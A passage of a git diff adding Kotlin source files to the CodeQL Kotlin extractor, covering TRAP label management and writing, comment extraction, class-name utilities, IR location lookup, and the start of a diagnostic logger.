+import org.jetbrains.kotlin.ir.declarations.IrFile
+import org.jetbrains.kotlin.ir.declarations.IrFunction
+import org.jetbrains.kotlin.ir.declarations.IrVariable
+import org.jetbrains.kotlin.ir.UNDEFINED_OFFSET
+import org.jetbrains.kotlin.ir.util.SYNTHETIC_OFFSET
+
+import com.semmle.extractor.java.PopulateFile
+import com.semmle.util.unicode.UTF8Util
+
+/**
+ * Each `.trap` file has a `TrapLabelManager` while we are writing it.
+ * It provides fresh TRAP label names, and maintains a mapping from keys
+ * (`@"..."`) to labels.
+ */
+class TrapLabelManager {
+    /** The next integer to use as a label name. */
+    private var nextInt: Int = 100
+
+    /** Returns a fresh label. */
+    fun <T> getFreshLabel(): Label<T> {
+        return IntLabel(nextInt++)
+    }
+
+    /**
+     * A mapping from a key (`@"..."`) to the label defined to be that
+     * key, if any.
+     */
+    val labelMapping: MutableMap<String, Label<*>> = mutableMapOf<String, Label<*>>()
+
+    val anonymousTypeMapping: MutableMap<IrClass, TypeResults> = mutableMapOf()
+
+    val locallyVisibleFunctionLabelMapping: MutableMap<IrFunction, LocallyVisibleFunctionLabels> = mutableMapOf()
+
+    /**
+     * The set of labels of generic specialisations that we have extracted
+     * in this TRAP file.
+     * We can't easily avoid duplication between TRAP files, as the labels
+     * contain references to other labels, so we just accept this
+     * duplication.
+     */
+    val genericSpecialisationsExtracted = HashSet<String>()
+}
+
+/**
+ * A `TrapWriter` is used to write TRAP to a particular TRAP file.
+ * There may be multiple `TrapWriter`s for the same file, as different
+ * instances will have different additional state, but they must all
+ * share the same `TrapLabelManager` and `BufferedWriter`.
+ */
+// TODO lm was `protected` before anonymousTypeMapping and locallyVisibleFunctionLabelMapping moved into it. Should we re-protect it and provide accessors?
+open class TrapWriter (protected val loggerBase: LoggerBase, val lm: TrapLabelManager, private val bw: BufferedWriter, val diagnosticTrapWriter: TrapWriter?) {
+    /**
+     * Returns the label that is defined to be the given key, if such
+     * a label exists, and `null` otherwise. Most users will want to use
+     * `getLabelFor` instead, which allows non-existent labels to be
+     * initialised.
+     */
+    fun <T> getExistingLabelFor(key: String): Label<T>? {
+        return lm.labelMapping.get(key)?.cast<T>()
+    }
+    /**
+     * Returns the label for the given key, if one exists.
+     * Otherwise, a fresh label is bound to that key, `initialise`
+     * is run on it, and it is returned.
+     */
+    @JvmOverloads // Needed so Java can call a method with an optional argument
+    fun <T> getLabelFor(key: String, initialise: (Label<T>) -> Unit = {}): Label<T> {
+        val maybeLabel: Label<T>? = getExistingLabelFor(key)
+        if(maybeLabel == null) {
+            val label: Label<T> = lm.getFreshLabel()
+            lm.labelMapping.put(key, label)
+            writeTrap("$label = $key\n")
+            initialise(label)
+            return label
+        } else {
+            return maybeLabel
+        }
+    }
+
+    /**
+     * Returns a label for a fresh ID (i.e. a new label bound to `*`).
+     */
+    fun <T> getFreshIdLabel(): Label<T> {
+        val label: Label<T> = lm.getFreshLabel()
+        writeTrap("$label = *\n")
+        return label
+    }
+
+    /**
+     * It is not easy to assign keys to local variables, so they get
+     * given `*` IDs. However, the same variable may be referred to
+     * from distant places in the IR, so we need a way to find out
+     * which label is used for a given local variable. This information
+     * is stored in this mapping.
+     */
+    private val variableLabelMapping: MutableMap<IrVariable, Label<out DbLocalvar>> = mutableMapOf<IrVariable, Label<out DbLocalvar>>()
+    /**
+     * This returns the label used for a local variable, creating one
+     * if none currently exists.
+     */
+    fun <T> getVariableLabelFor(v: IrVariable): Label<out DbLocalvar> {
+        val maybeLabel = variableLabelMapping.get(v)
+        if(maybeLabel == null) {
+            val label = getFreshIdLabel<DbLocalvar>()
+            variableLabelMapping.put(v, label)
+            return label
+        } else {
+            return maybeLabel
+        }
+    }
+
+    fun getExistingVariableLabelFor(v: IrVariable): Label<out DbLocalvar>? {
+        return variableLabelMapping.get(v)
+    }
+
+    /**
+     * This returns a label for the location described by its arguments.
+     * Typically users will not want to call this directly, but instead
+     * use `unknownLocation`, or overloads of this defined by subclasses.
+     */
+    fun getLocation(fileId: Label<DbFile>, startLine: Int, startColumn: Int, endLine: Int, endColumn: Int): Label<DbLocation> {
+        return getLabelFor("@\"loc,{$fileId},$startLine,$startColumn,$endLine,$endColumn\"") {
+            writeLocations_default(it, fileId, startLine, startColumn, endLine, endColumn)
+        }
+    }
+
+    /**
+     * The label for the 'unknown' file ID.
+     * Users will want to use `unknownLocation` instead.
+     * This is lazy, as we don't want to define it in a TRAP file unless
+     * the TRAP file actually contains something in the 'unknown' file.
+     */
+    protected val unknownFileId: Label<DbFile> by lazy {
+        val unknownFileLabel = "@\";sourcefile\""
+        getLabelFor(unknownFileLabel, {
+            writeFiles(it, "")
+        })
+    }
+
+    /**
+     * The label for the 'unknown' location.
+     * This is lazy, as we don't want to define it in a TRAP file unless
+     * the TRAP file actually contains something with an 'unknown'
+     * location.
+     */
+    val unknownLocation: Label<DbLocation> by lazy {
+        getWholeFileLocation(unknownFileId)
+    }
+
+    /**
+     * Returns the label for the file `filePath`.
+     * If `populateFileTables` is true, then this also adds rows to the
+     * `files` and `folders` tables for this file.
+     */
+    fun mkFileId(filePath: String, populateFileTables: Boolean): Label<DbFile> {
+        // If a file is in a jar, then the Kotlin compiler gives
+        // `<jar file>!/<path within jar>` as its path. We need to split
+        // it as appropriate, to make the right file ID.
+        val populateFile = PopulateFile(this)
+        val splitFilePath = filePath.split("!/")
+        if(splitFilePath.size == 1) {
+            return populateFile.getFileLabel(File(filePath), populateFileTables)
+        } else {
+            return populateFile.getFileInJarLabel(File(splitFilePath.get(0)), splitFilePath.get(1), populateFileTables)
+        }
+    }
+
+    /**
+     * If you have an ID for a file, then this gets a label for the
+     * location representing the whole of that file.
+     */
+    fun getWholeFileLocation(fileId: Label<DbFile>): Label<DbLocation> {
+        return getLocation(fileId, 0, 0, 0, 0)
+    }
+
+    /**
+     * Write a raw string into the TRAP file. Users should call one of
+     * the wrapper functions instead.
+     */
+    fun writeTrap(trap: String) {
+        bw.write(trap)
+    }
+
+    /**
+     * Write a comment into the TRAP file.
+     */
+    fun writeComment(comment: String) {
+        writeTrap("// ${comment.replace("\n", "\n//    ")}\n")
+    }
+
+    /**
+     * Flush the TRAP file.
+     */
+    fun flush() {
+        bw.flush()
+    }
+
+    /**
+     * Escape a string so that it can be used in a TRAP string literal,
+     * i.e. with `"` escaped as `""`.
+    */
+    fun escapeTrapString(str: String) = str.replace("\"", "\"\"")
+
+    /**
+     * TRAP string literals are limited to 1 megabyte.
+     */
+    private val MAX_STRLEN = 1.shl(20)
+
+    /**
+     * Truncate a string, if necessary, so that it can be used as a TRAP
+     * string literal. TRAP string literals are limited to 1 megabyte.
+     */
+    fun truncateString(str: String): String {
+        val len = str.length
+        val newLen = UTF8Util.encodablePrefixLength(str, MAX_STRLEN)
+        if (newLen < len) {
+            loggerBase.warn(diagnosticTrapWriter ?: this,
+                "Truncated string of length $len",
+                "Truncated string of length $len, starting '${str.take(100)}', ending '${str.takeLast(100)}'")
+            return str.take(newLen)
+        } else {
+            return str
+        }
+    }
+
+    /**
+     * Gets a FileTrapWriter like this one (using the same label manager,
+     * writer etc), but using the given `filePath` for locations.
+     */
+    fun makeFileTrapWriter(filePath: String, populateFileTables: Boolean) =
+        FileTrapWriter(loggerBase, lm, bw, diagnosticTrapWriter, filePath, populateFileTables)
+
+    /**
+     * Gets a FileTrapWriter like this one (using the same label manager,
+     * writer etc), but using the given `IrFile` for locations.
+     */
+    fun makeSourceFileTrapWriter(file: IrFile, populateFileTables: Boolean) =
+        SourceFileTrapWriter(loggerBase, lm, bw, diagnosticTrapWriter, file, populateFileTables)
+}
+
+/**
+ * A `FileTrapWriter` is used when we know which file we are extracting
+ * entities from, so we can at least give the right file as a location.
+ *
+ * An ID for the file will be created, and if `populateFileTables` is
+ * true then we will also add rows to the `files` and `folders` tables
+ * for it.
+ */
+open class FileTrapWriter (
+    loggerBase: LoggerBase,
+    lm: TrapLabelManager,
+    bw: BufferedWriter,
+    diagnosticTrapWriter: TrapWriter?,
+    val filePath: String,
+    populateFileTables: Boolean
+): TrapWriter (loggerBase, lm, bw, diagnosticTrapWriter) {
+
+    /**
+     * The ID for the file that we are extracting from.
+     */
+    val fileId = mkFileId(filePath, populateFileTables)
+
+    /**
+     * Gets a label for the location of `e`.
+     */
+    fun getLocation(e: IrElement): Label<DbLocation> {
+        return getLocation(e.startOffset, e.endOffset)
+    }
+    /**
+     * Gets a label for the location representing the whole of this file.
+     */
+    fun getWholeFileLocation(): Label<DbLocation> {
+        return getWholeFileLocation(fileId)
+    }
+    /**
+     * Gets a label for the location corresponding to `startOffset` and
+     * `endOffset` within this file.
+     */
+    open fun getLocation(startOffset: Int, endOffset: Int): Label<DbLocation> {
+        // We don't have a FileEntry to look up the offsets in, so all
+        // we can do is return a whole-file location.
+        return getWholeFileLocation()
+    }
+    /**
+     * Gets the location of `e` as a human-readable string. Only used in
+     * log messages and exception messages.
+     */
+    open fun getLocationString(e: IrElement): String {
+        // We don't have a FileEntry to look up the offsets in, so all
+        // we can do is return a whole-file location. We omit the
+        // `:0:0:0:0` so that it is easy to distinguish from a location
+        // where we have actually determined the start/end lines/columns
+        // to be 0.
+        return "file://$filePath"
+    }
+}
+
+/**
+ * A `SourceFileTrapWriter` is used when not only do we know which file
+ * we are extracting entities from, but we also have an `IrFileEntry`
+ * (from an `IrFile`) which allows us to map byte offsets to line
+ * and column numbers.
+ *
+ * An ID for the file will be created, and if `populateFileTables` is
+ * true then we will also add rows to the `files` and `folders` tables
+ * for it.
+ */
+class SourceFileTrapWriter (
+    loggerBase: LoggerBase,
+    lm: TrapLabelManager,
+    bw: BufferedWriter,
+    diagnosticTrapWriter: TrapWriter?,
+    irFile: IrFile,
+    populateFileTables: Boolean) :
+    FileTrapWriter(loggerBase, lm, bw, diagnosticTrapWriter, irFile.path, populateFileTables) {
+
+    /**
+     * The file entry for the file that we are extracting from.
+     * Used to map offsets to line/column numbers.
+     */
+    private val fileEntry = irFile.fileEntry
+
+    override fun getLocation(startOffset: Int, endOffset: Int): Label<DbLocation> {
+        if (startOffset == UNDEFINED_OFFSET || endOffset == UNDEFINED_OFFSET) {
+            if (startOffset != endOffset) {
+                loggerBase.warn(this, "Location with inconsistent offsets (start $startOffset, end $endOffset)", null)
+            }
+            return getWholeFileLocation()
+        }
+
+        if (startOffset == SYNTHETIC_OFFSET || endOffset == SYNTHETIC_OFFSET) {
+            if (startOffset != endOffset) {
+                loggerBase.warn(this, "Location with inconsistent offsets (start $startOffset, end $endOffset)", null)
+            }
+            return getWholeFileLocation()
+        }
+
+        // If this is the location for a compiler-generated element, then it will
+        // be a zero-width location. QL doesn't support these, so we translate it
+        // into a one-width location.
+        val endColumnOffset = if (startOffset == endOffset) 1 else 0
+        return getLocation(
+            fileId,
+            fileEntry.getLineNumber(startOffset) + 1,
+            fileEntry.getColumnNumber(startOffset) + 1,
+            fileEntry.getLineNumber(endOffset) + 1,
+            fileEntry.getColumnNumber(endOffset) + endColumnOffset)
+    }
+
+    override fun getLocationString(e: IrElement): String {
+        if (e.startOffset == UNDEFINED_OFFSET || e.endOffset == UNDEFINED_OFFSET) {
+            if (e.startOffset != e.endOffset) {
+                loggerBase.warn(this, "Location with inconsistent offsets (start ${e.startOffset}, end ${e.endOffset})", null)
+            }
+            return "<unknown location while processing $filePath>"
+        }
+
+        if (e.startOffset == SYNTHETIC_OFFSET || e.endOffset == SYNTHETIC_OFFSET) {
+            if (e.startOffset != e.endOffset) {
+                loggerBase.warn(this, "Location with inconsistent offsets (start ${e.startOffset}, end ${e.endOffset})", null)
+            }
+            return "<synthetic location while processing $filePath>"
+        }
+
+        val startLine =   fileEntry.getLineNumber(e.startOffset) + 1
+        val startColumn = fileEntry.getColumnNumber(e.startOffset) + 1
+        val endLine =     fileEntry.getLineNumber(e.endOffset) + 1
+        val endColumn =   fileEntry.getColumnNumber(e.endOffset)
+        return "file://$filePath:$startLine:$startColumn:$endLine:$endColumn"
+    }
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/comments/CommentExtractor.kt b/java/kotlin-extractor/src/main/kotlin/comments/CommentExtractor.kt
new file mode 100644
index 00000000000..93d3c0534de
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/comments/CommentExtractor.kt
@@ -0,0 +1,125 @@
+package com.github.codeql.comments
+
+import com.github.codeql.*
+import com.github.codeql.utils.IrVisitorLookup
+import com.github.codeql.utils.versions.Psi2Ir
+import com.intellij.psi.PsiComment
+import com.intellij.psi.PsiElement
+import org.jetbrains.kotlin.ir.IrElement
+import org.jetbrains.kotlin.ir.declarations.*
+import org.jetbrains.kotlin.kdoc.psi.api.KDoc
+import org.jetbrains.kotlin.lexer.KtTokens
+import org.jetbrains.kotlin.psi.KtVisitor
+import org.jetbrains.kotlin.psi.psiUtil.endOffset
+import org.jetbrains.kotlin.psi.psiUtil.startOffset
+
+class CommentExtractor(private val fileExtractor: KotlinFileExtractor, private val file: IrFile, private val fileLabel: Label<out DbFile>) {
+    private val tw = fileExtractor.tw
+    private val logger = fileExtractor.logger
+    private val ktFile = Psi2Ir().getKtFile(file)
+
+    fun extract() {
+        if (ktFile == null) {
+            logger.warn("Comments are not being processed in ${file.path}.")
+        } else {
+            ktFile.accept(commentVisitor)
+        }
+    }
+
+    private val commentVisitor =
+        object : KtVisitor<Unit, Unit>() {
+            override fun visitElement(element: PsiElement) {
+                element.acceptChildren(this)
+
+                // Slightly hacky, but `visitComment` doesn't seem to visit comments with `tokenType` `KtTokens.DOC_COMMENT`
+                if (element is PsiComment){
+                    visitCommentElement(element)
+                }
+            }
+
+            private fun visitCommentElement(comment: PsiComment) {
+                val type: CommentType = when (comment.tokenType) {
+                    KtTokens.EOL_COMMENT -> {
+                        CommentType.SingleLine
+                    }
+                    KtTokens.BLOCK_COMMENT -> {
+                        CommentType.Block
+                    }
+                    KtTokens.DOC_COMMENT -> {
+                        CommentType.Doc
+                    }
+                    else -> {
+                        logger.warn("Unhandled comment token type: ${comment.tokenType}")
+                        return
+                    }
+                }
+
+                val commentLabel = tw.getFreshIdLabel<DbKtcomment>()
+                tw.writeKtComments(commentLabel, type.value, comment.text)
+                val locId = tw.getLocation(comment.startOffset, comment.endOffset)
+                tw.writeHasLocation(commentLabel, locId)
+
+                if (comment.tokenType != KtTokens.DOC_COMMENT) {
+                    return
+                }
+
+                if (comment !is KDoc) {
+                    logger.warn("Unexpected comment type with DocComment token type.")
+                    return
+                }
+
+                for (sec in comment.getAllSections()) {
+                    val commentSectionLabel = tw.getFreshIdLabel<DbKtcommentsection>()
+                    tw.writeKtCommentSections(commentSectionLabel, commentLabel, sec.getContent())
+                    val name = sec.name
+                    if (name != null) {
+                        tw.writeKtCommentSectionNames(commentSectionLabel, name)
+                    }
+                    val subjectName = sec.getSubjectName()
+                    if (subjectName != null) {
+                        tw.writeKtCommentSectionSubjectNames(commentSectionLabel, subjectName)
+                    }
+                }
+
+                // Only storing the owner of doc comments:
+                val ownerPsi = getKDocOwner(comment) ?: return
+
+                val owners = mutableListOf<IrElement>()
+                file.accept(IrVisitorLookup(ownerPsi, file), owners)
+
+                for (ownerIr in owners) {
+                    val ownerLabel =
+                        if (ownerIr == file)
+                            fileLabel
+                        else {
+                            if (ownerIr is IrValueParameter && ownerIr.index == -1) {
+                                // Don't attribute comments to the implicit `this` parameter of a function.
+                                continue
+                            }
+                            val label: String
+                            val existingLabel = if (ownerIr is IrVariable) {
+                                label = "variable ${ownerIr.name.asString()}"
+                                tw.getExistingVariableLabelFor(ownerIr)
+                            } else {
+                                label = fileExtractor.getLabel(ownerIr) ?: continue
+                                tw.getExistingLabelFor<DbTop>(label)
+                            }
+                            if (existingLabel == null) {
+                                logger.warn("Couldn't get existing label for $label")
+                                continue
+                            }
+                            existingLabel
+                        }
+                    tw.writeKtCommentOwners(commentLabel, ownerLabel)
+                }
+            }
+
+            private fun getKDocOwner(comment: KDoc) : PsiElement? {
+                val owner = comment.owner
+                if (owner == null) {
+                    logger.warn("Couldn't get owner of KDoc.")
+                }
+                return owner
+            }
+        }
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/comments/CommentType.kt b/java/kotlin-extractor/src/main/kotlin/comments/CommentType.kt
new file mode 100644
index 00000000000..00a1caf492e
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/comments/CommentType.kt
@@ -0,0 +1,5 @@
+package com.github.codeql.comments
+
+enum class CommentType(val value: Int) {
+    SingleLine(1), Block(2), Doc(3)
+}
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/AutoCloseableUse.kt b/java/kotlin-extractor/src/main/kotlin/utils/AutoCloseableUse.kt
new file mode 100644
index 00000000000..fe68f308893
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/AutoCloseableUse.kt
@@ -0,0 +1,43 @@
+package com.github.codeql
+
+// Functions copied from stdlib/jdk7/src/kotlin/AutoCloseable.kt, which is not available within kotlinc,
+// but allows the `.use` pattern to be applied to JDK7 AutoCloseables:
+
+/**
+ * Executes the given [block] function on this resource and then closes it down correctly whether an exception
+ * is thrown or not.
+ *
+ * In case if the resource is being closed due to an exception occurred in [block], and the closing also fails with an exception,
+ * the latter is added to the [suppressed][java.lang.Throwable.addSuppressed] exceptions of the former.
+ *
+ * @param block a function to process this [AutoCloseable] resource.
+ * @return the result of [block] function invoked on this resource.
+ */
+public inline fun <T : AutoCloseable?, R> T.useAC(block: (T) -> R): R {
+  var exception: Throwable? = null
+  try {
+      return block(this)
+  } catch (e: Throwable) {
+      exception = e
+      throw e
+  } finally {
+      this.closeFinallyAC(exception)
+  }
+}
+
+/**
+* Closes this [AutoCloseable], suppressing possible exception or error thrown by [AutoCloseable.close] function when
+* it's being closed due to some other [cause] exception occurred.
+*
+* The suppressed exception is added to the list of suppressed exceptions of [cause] exception.
+*/
+fun AutoCloseable?.closeFinallyAC(cause: Throwable?) = when {
+  this == null -> {}
+  cause == null -> close()
+  else ->
+      try {
+          close()
+      } catch (closeException: Throwable) {
+          cause.addSuppressed(closeException)
+      }
+}
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/ClassNames.kt b/java/kotlin-extractor/src/main/kotlin/utils/ClassNames.kt
new file mode 100644
index 00000000000..5a9713087eb
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/ClassNames.kt
@@ -0,0 +1,92 @@
+package com.github.codeql
+
+import com.intellij.openapi.vfs.StandardFileSystems
+import org.jetbrains.kotlin.load.java.sources.JavaSourceElement
+import org.jetbrains.kotlin.load.java.structure.impl.classFiles.BinaryJavaClass
+import org.jetbrains.kotlin.load.kotlin.VirtualFileKotlinClass
+import org.jetbrains.kotlin.load.kotlin.KotlinJvmBinarySourceElement
+
+import com.intellij.openapi.vfs.VirtualFile
+import org.jetbrains.kotlin.builtins.jvm.JavaToKotlinClassMap
+import org.jetbrains.kotlin.ir.declarations.*
+import org.jetbrains.kotlin.ir.util.fqNameWhenAvailable
+import org.jetbrains.kotlin.ir.util.parentClassOrNull
+import org.jetbrains.kotlin.load.kotlin.JvmPackagePartSource
+
+// Adapted from Kotlin's interpreter/Utils.kt function 'internalName'
+// Translates class names into their JLS section 13.1 binary name,
+// and declarations within them into the parent class' JLS 13.1 name as
+// specified above, followed by a `$` separator and then the short name
+// for `that`.
+fun getIrDeclBinaryName(that: IrDeclaration): String {
+  val shortName = when(that) {
+      is IrDeclarationWithName -> that.name.asString()
+      else -> "(unknown-name)"
+  }
+  val internalName = StringBuilder(shortName);
+  generateSequence(that.parent) { (it as? IrDeclaration)?.parent }
+      .forEach {
+          when (it) {
+              is IrClass -> internalName.insert(0, it.name.asString() + "$")
+              is IrPackageFragment -> it.fqName.asString().takeIf { it.isNotEmpty() }?.let { internalName.insert(0, "$it.") }
+          }
+      }
+  return internalName.toString()
+}
+
+fun getIrClassVirtualFile(irClass: IrClass): VirtualFile? {
+    val cSource = irClass.source
+    // Don't emit a location for multi-file classes until we're sure we can cope with different declarations
+    // inside a class disagreeing about their source file. In particular this currently causes problems when
+    // a source-location for a declarations tries to refer to a file-id which is assumed to be declared in
+    // the class trap file.
+    if (irClass.origin == IrDeclarationOrigin.JVM_MULTIFILE_CLASS)
+        return null
+    when(cSource) {
+        is JavaSourceElement -> {
+            val element = cSource.javaElement
+            when(element) {
+                is BinaryJavaClass -> return element.virtualFile
+            }
+        }
+        is KotlinJvmBinarySourceElement -> {
+            val binaryClass = cSource.binaryClass
+            when(binaryClass) {
+                is VirtualFileKotlinClass -> return binaryClass.file
+            }
+        }
+        is JvmPackagePartSource -> {
+            val binaryClass = cSource.knownJvmBinaryClass
+            if (binaryClass != null && binaryClass is VirtualFileKotlinClass) {
+                return binaryClass.file
+            }
+        }
+    }
+    return null
+}
+
+fun getRawIrClassBinaryPath(irClass: IrClass) =
+    getIrClassVirtualFile(irClass)?.let {
+        val path = it.path
+        if(it.fileSystem.protocol == StandardFileSystems.JRT_PROTOCOL)
+            // For JRT files, which we assume to be the JDK, hide the containing JAR path to match the Java extractor's behaviour.
+            "/${path.split("!/", limit = 2)[1]}"
+        else
+            path
+    }
+
+fun getIrClassBinaryPath(irClass: IrClass): String {
+  return getRawIrClassBinaryPath(irClass)
+  // Otherwise, make up a fake location:
+    ?: "/!unknown-binary-location/${getIrDeclBinaryName(irClass).replace(".", "/")}.class"
+}
+
+fun getContainingClassOrSelf(decl: IrDeclaration): IrClass? {
+    return when(decl) {
+        is IrClass -> decl
+        else -> decl.parentClassOrNull
+    }
+}
+
+fun getJavaEquivalentClassId(c: IrClass) =
+    c.fqNameWhenAvailable?.toUnsafe()?.let { JavaToKotlinClassMap.mapKotlinToJava(it) }
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/ExternalDecls.kt b/java/kotlin-extractor/src/main/kotlin/utils/ExternalDecls.kt
new file mode 100644
index 00000000000..527f28dd165
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/ExternalDecls.kt
@@ -0,0 +1,19 @@
+package com.github.codeql.utils
+
+import org.jetbrains.kotlin.ir.declarations.IrClass
+import org.jetbrains.kotlin.ir.declarations.IrDeclaration
+import org.jetbrains.kotlin.ir.declarations.IrDeclarationOrigin
+import org.jetbrains.kotlin.ir.util.isFileClass
+import org.jetbrains.kotlin.ir.util.parentClassOrNull
+
+fun isExternalDeclaration(d: IrDeclaration): Boolean {
+    return d.origin == IrDeclarationOrigin.IR_EXTERNAL_DECLARATION_STUB ||
+           d.origin == IrDeclarationOrigin.IR_EXTERNAL_JAVA_DECLARATION_STUB ||
+           d.origin.toString() == "FUNCTION_INTERFACE_CLASS" // Treat kotlin.coroutines.* like ordinary library classes
+}
+
+/**
+ * Returns true if `d` is not itself a class, but is a member of an external file class.
+ */
+fun isExternalFileClassMember(d: IrDeclaration) = d !is IrClass && (d.parentClassOrNull?.let { it.isFileClass } ?: false)
+
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/IrVisitorLookup.kt b/java/kotlin-extractor/src/main/kotlin/utils/IrVisitorLookup.kt
new file mode 100644
index 00000000000..0020d00fac4
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/IrVisitorLookup.kt
@@ -0,0 +1,38 @@
+package com.github.codeql.utils
+
+import com.github.codeql.utils.versions.Psi2Ir
+import com.intellij.psi.PsiElement
+import org.jetbrains.kotlin.ir.IrElement
+import org.jetbrains.kotlin.ir.declarations.IrDeclaration
+import org.jetbrains.kotlin.ir.declarations.IrFile
+import org.jetbrains.kotlin.ir.util.isFakeOverride
+import org.jetbrains.kotlin.ir.visitors.IrElementVisitor
+
+class IrVisitorLookup(private val psi: PsiElement, private val file: IrFile) :
+    IrElementVisitor<Unit, MutableCollection<IrElement>> {
+    private val location = psi.getLocation()
+
+    override fun visitElement(element: IrElement, data: MutableCollection<IrElement>): Unit {
+        val elementLocation = element.getLocation()
+
+        if (!location.intersects(elementLocation)) {
+            // No need to visit children.
+            return
+        }
+
+        if (element is IrDeclaration && element.isFakeOverride) {
+            // These aren't extracted, so we don't expect anything to exist
+            // to which we could ascribe a comment.
+            return
+        }
+
+        if (location.contains(elementLocation)) {
+            val psiElement = Psi2Ir().findPsiElement(element, file)
+            if (psiElement == psi) {
+                // There can be multiple IrElements that match the same PSI element.
+                data.add(element)
+            }
+        }
+        element.acceptChildren(this, data)
+    }
+}
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/Location.kt b/java/kotlin-extractor/src/main/kotlin/utils/Location.kt
new file mode 100644
index 00000000000..2218ab45b31
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/Location.kt
@@ -0,0 +1,24 @@
+package com.github.codeql.utils
+
+import com.intellij.psi.PsiElement
+import org.jetbrains.kotlin.ir.IrElement
+import org.jetbrains.kotlin.psi.psiUtil.endOffset
+import org.jetbrains.kotlin.psi.psiUtil.startOffset
+
+data class Location(val startOffset: Int, val endOffset: Int){
+    fun contains(location: Location) : Boolean {
+        return this.startOffset <= location.startOffset && this.endOffset >= location.endOffset
+    }
+
+    fun intersects(location: Location): Boolean {
+        return this.endOffset >= location.startOffset && this.startOffset <= location.endOffset
+    }
+}
+
+fun IrElement.getLocation() : Location {
+    return Location(this.startOffset, this.endOffset)
+}
+
+fun PsiElement.getLocation() : Location {
+    return Location(this.startOffset, this.endOffset)
+}
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/Logger.kt b/java/kotlin-extractor/src/main/kotlin/utils/Logger.kt
new file mode 100644
index 00000000000..1349380cbc4
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/Logger.kt
@@ -0,0 +1,276 @@
+package com.github.codeql
+
+import java.io.File
+import java.io.FileWriter
+import java.io.OutputStreamWriter
+import java.io.Writer
+import java.text.SimpleDateFormat
+import java.util.Date
+import java.util.Stack
+import org.jetbrains.kotlin.ir.IrElement
+
+class LogCounter() {
+    public val diagnosticCounts = mutableMapOf<String, Int>()
+    public val diagnosticLimit: Int
+    init {
+        diagnosticLimit = System.getenv("CODEQL_EXTRACTOR_KOTLIN_DIAGNOSTIC_LIMIT")?.toIntOrNull() ?: 100
+    }
+}
+
+enum class Severity(val sev: Int) {
+    WarnLow(1),
+    Warn(2),
+    WarnHigh(3),
+    /** Minor extractor errors, with minimal impact on analysis. */
+    ErrorLow(4),
+    /** Most extractor errors, with local impact on analysis. */
+    Error(5),
+    /** Javac errors. */
+    ErrorHigh(6),
+    /** Severe extractor errors affecting a single source file. */
+    ErrorSevere(7),
+    /** Severe extractor errors likely to affect multiple source files. */
+    ErrorGlobal(8)
+}
+
+class LogMessage(private val kind: String, private val message: String) {
+    val timestamp: String
+    init {
+        timestamp = "${SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Date())}"
+    }
+
+    fun toText(): String {
+        return "[$timestamp K] [$kind] $message"
+    }
+
+    private fun escape(str: String): String {
+        return str.replace("\\", "\\\\")
+                  .replace("\"", "\\\"")
+                  .replace("/", "\\/")
+                  .replace("\b", "\\b")
+                  .replace("\u000C", "\\f")
+                  .replace("\n", "\\n")
+                  .replace("\r", "\\r")
+                  .replace("\t", "\\t")
+    }
+
+    fun toJsonLine(): String {
+        val kvs = listOf(Pair("origin", "CodeQL Kotlin extractor"),
+                         Pair("timestamp", timestamp),
+                         Pair("kind", kind),
+                         Pair("message", message))
+        return "{ " + kvs.map { p -> "\"${p.first}\": \"${escape(p.second)}\""}.joinToString(", ") + " }\n"
+    }
+}
+
+data class ExtractorContext(val kind: String, val element: IrElement, val name: String, val loc: String)
+
+open class LoggerBase(val logCounter: LogCounter) {
+    val extractorContextStack = Stack<ExtractorContext>()
+
+    private val verbosity: Int
+    init {
+        verbosity = System.getenv("CODEQL_EXTRACTOR_KOTLIN_VERBOSITY")?.toIntOrNull() ?: 3
+    }
+
+    private val logStream: Writer
+    init {
+        val extractorLogDir = System.getenv("CODEQL_EXTRACTOR_JAVA_LOG_DIR")
+        if (extractorLogDir == null || extractorLogDir == "") {
+            logStream = OutputStreamWriter(System.out)
+        } else {
+            val logFile = File.createTempFile("kotlin-extractor.", ".log", File(extractorLogDir))
+            logStream = FileWriter(logFile)
+        }
+    }
+
+    private fun getDiagnosticLocation(): String? {
+        val st = Exception().stackTrace
+        for(x in st) {
+            when(x.className) {
+                "com.github.codeql.LoggerBase",
+                "com.github.codeql.Logger",
+                "com.github.codeql.FileLogger" -> {}
+                else -> {
+                    return x.toString()
+                }
+            }
+        }
+        return null
+    }
+
+    private var file_number = -1
+    private var file_number_diagnostic_number = 0
+
+    fun setFileNumber(index: Int) {
+        file_number = index
+        file_number_diagnostic_number = 0
+    }
+
+    fun diagnostic(tw: TrapWriter, severity: Severity, msg: String, extraInfo: String?, locationString: String? = null, mkLocationId: () -> Label<DbLocation> = { tw.unknownLocation }) {
+        val diagnosticLoc = getDiagnosticLocation()
+        val diagnosticLocStr = if(diagnosticLoc == null) "<unknown location>" else diagnosticLoc
+        val suffix =
+            if(diagnosticLoc == null) {
+                "    Missing caller information.\n"
+            } else {
+                val count = logCounter.diagnosticCounts.getOrDefault(diagnosticLoc, 0) + 1
+                logCounter.diagnosticCounts[diagnosticLoc] = count
+                when {
+                    logCounter.diagnosticLimit <= 0 -> ""
+                    count == logCounter.diagnosticLimit -> "    Limit reached for diagnostics from $diagnosticLoc.\n"
+                    count > logCounter.diagnosticLimit -> return
+                    else -> ""
+                }
+            }
+        val fullMsgBuilder = StringBuilder()
+        fullMsgBuilder.append(msg)
+        if (extraInfo != null) {
+            fullMsgBuilder.append('\n')
+            fullMsgBuilder.append(extraInfo)
+        }
+
+        val iter = extractorContextStack.listIterator(extractorContextStack.size)
+        while (iter.hasPrevious()) {
+            val x = iter.previous()
